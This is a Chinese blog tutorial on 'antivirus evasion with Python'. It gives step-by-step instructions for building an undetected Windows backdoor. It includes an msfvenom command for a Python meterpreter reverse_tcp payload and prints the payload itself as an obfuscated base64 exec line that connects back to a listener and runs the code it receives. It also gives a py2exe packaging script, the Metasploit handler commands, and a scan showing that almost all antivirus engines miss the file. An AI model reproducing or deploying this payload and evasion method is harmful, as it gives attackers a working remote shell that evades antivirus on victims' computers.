使用Python进行防病毒免杀解析


Posted in Python onDecember 13, 2019

很多渗透工具都提供了权限维持的能力,如Metasploit、Empire和Cobalt Strike,但是都会被防病毒软件检测到这种恶意行为。在探讨一个权限维持技巧的时候,似乎越来越多的人关注的是,这个方式会不会被被杀软杀掉?

打造免杀的payload成了一个很重要的话题,在这里,本文将介绍如何使用Pyhton轻松绕过防病毒软件。

0x01 环境准备

1、软件安装

Python 2.7.16 x86:https://www.python.org/ftp/python/2.7.16/python-2.7.16.msi
Py2exe 32位:https://sourceforge.net/projects/py2exe/files/py2exe/0.6.9/py2exe-0.6.9.win32-py2.7.exe/download

2、msfvenom生成Python Payload

msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.28.128 LPORT=443 -f raw -o /var/www/html/evil.py

使用Python进行防病毒免杀解析

evil.py 代码如下:

import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMjguMTI4Jyw0NDMpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKGQseydzJzpzfSkK')))

0x02 py2exe 打包Python程序

将evil.py复制到windows,同时创建一个setup.py文件:

from distutils.core import setup
import py2exe
setup(
name = 'Meter',
description = 'Python-based App',
version = '1.0',
console=['evil.py'],
options = {'py2exe': {'bundle_files': 1,'packages':'ctypes','includes': 'base64,sys,socket,struct,time,code,platform,getpass,shutil',}},
zipfile = None,
)

下面的方法运行 evil.py,生成可执行文件。

python ./setup.py py2exe

使用Python进行防病毒免杀解析

0x03 设置监听端口

Kali 运行Metasploit,设置监听:

msfconsole
use exploit/multi/handler
set PAYLOAD python/meterpreter/reverse_tcp
set LHOST 192.168.28.128
set LPORT 443
run

在Windows中运行evil.exe,获得一个meterpreter的会话

使用Python进行防病毒免杀解析

0x04 免杀验证

确认生成的exe文件可正常工作,接下来对evil.exe进行在线病毒扫描,以确认免杀效果如何。
这里我们使用VirSCAN.org-多引擎在线病毒扫描网 v1.02,当前支持 47 款杀毒引擎

使用Python进行防病毒免杀解析

扫描结果:47款杀毒引擎中,只有一个引擎报毒,主流的杀毒软件全部绕过。

网站地址: http://www.virscan.org 

参考文章:

https://medium.com/bugbountywriteup/antivirus-evasion-with-python-49185295caf1

总结

以上所述是小编给大家介绍的使用Python进行防病毒免杀,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对三水点靠木网站的支持!
如果你觉得本文对你有帮助,欢迎转载,烦请注明出处,谢谢!

Python 相关文章推荐
Python使用CMD模块更优雅的运行脚本
May 11 Python
Python 编码Basic Auth使用方法简单实例
May 25 Python
python实现简单点对点(p2p)聊天
Sep 13 Python
python3安装pip3(install pip3 for python 3.x)
Apr 03 Python
Python3实现的Mysql数据库操作封装类
Jun 06 Python
python 实现12bit灰度图像映射到8bit显示的方法
Jul 08 Python
Python文件操作函数用法实例详解
Dec 24 Python
在tensorflow以及keras安装目录查询操作(windows下)
Jun 19 Python
Python自动化测试中yaml文件读取操作
Aug 20 Python
python Scrapy框架原理解析
Jan 04 Python
PYTHON使用Matplotlib去实现各种条形图的绘制
Mar 22 Python
基于Python实现对比Exce的工具
Apr 07 Python
python 使用shutil复制图片的例子
Dec 13 #Python
基于python traceback实现异常的获取与处理
Dec 13 #Python
python 实现批量替换文本中的某部分内容
Dec 13 #Python
django多种支付、并发订单处理实例代码
Dec 13 #Python
Python+OpenCV+图片旋转并用原底色填充新四角的例子
Dec 12 #Python
Python+OpenCV 实现图片无损旋转90°且无黑边
Dec 12 #Python
使用python去除图片白色像素的实例
Dec 12 #Python
You might like
Zerg基本策略
2020/03/14 星际争霸
MySQL GBK→UTF-8编码转换
2007/05/24 PHP
php无序树实现方法
2015/07/28 PHP
如何判断php mysqli扩展类是否开启
2016/12/24 PHP
对google个性主页的拖拽效果的js的完整注释[转]
2007/04/10 Javascript
js中settimeout方法加参数
2014/02/28 Javascript
jquery+CSS3实现淘宝移动网页菜单效果
2015/08/31 Javascript
JS实现支持Ajax验证的表单插件
2016/03/24 Javascript
etmvc+jQuery EasyUI+combobox多值操作实现角色授权实例
2016/11/09 Javascript
实现easyui的datagrid导出为excel的示例代码
2016/11/10 Javascript
js如何找出字符串中的最长回文串
2018/06/04 Javascript
js监听html页面的上下滚动事件方法
2018/09/11 Javascript
element-ui组件table实现自定义筛选功能的示例代码
2019/03/15 Javascript
[04:22]DSPL第二期精彩集锦:残血反杀!
2014/12/10 DOTA
Python中正则表达式的详细教程
2015/04/30 Python
Python中的列表生成式与生成器学习教程
2016/03/13 Python
PyQT5 emit 和 connect的用法详解
2019/12/13 Python
pytorch 归一化与反归一化实例
2019/12/31 Python
python实现简单井字棋小游戏
2020/03/05 Python
python 判断一组数据是否符合正态分布
2020/09/23 Python
协程Python 中实现多任务耗资源最小的方式
2020/10/19 Python
Python脚本调试工具安装过程
2021/01/11 Python
意大利咖啡、浓缩咖啡和浓缩咖啡机:illy caffe
2019/03/20 全球购物
会计顶岗实习心得
2014/01/25 职场文书
秋季运动会活动方案
2014/02/05 职场文书
春节联欢会主持词
2014/03/24 职场文书
《谁的本领大》教后反思
2014/04/25 职场文书
2014年维修工作总结
2014/11/22 职场文书
2014年绩效考核工作总结
2014/12/11 职场文书
三年级上册科学教学计划
2015/01/21 职场文书
经理岗位职责
2015/02/02 职场文书
九年级数学教学反思
2016/02/17 职场文书
大学校园餐饮创业计划书
2019/08/07 职场文书
python中的3种定义类方法
2021/11/27 Python
css3中2D转换之有趣的transform形变效果
2022/02/24 HTML / CSS
MYSQL如何查看操作日志详解
2022/05/30 MySQL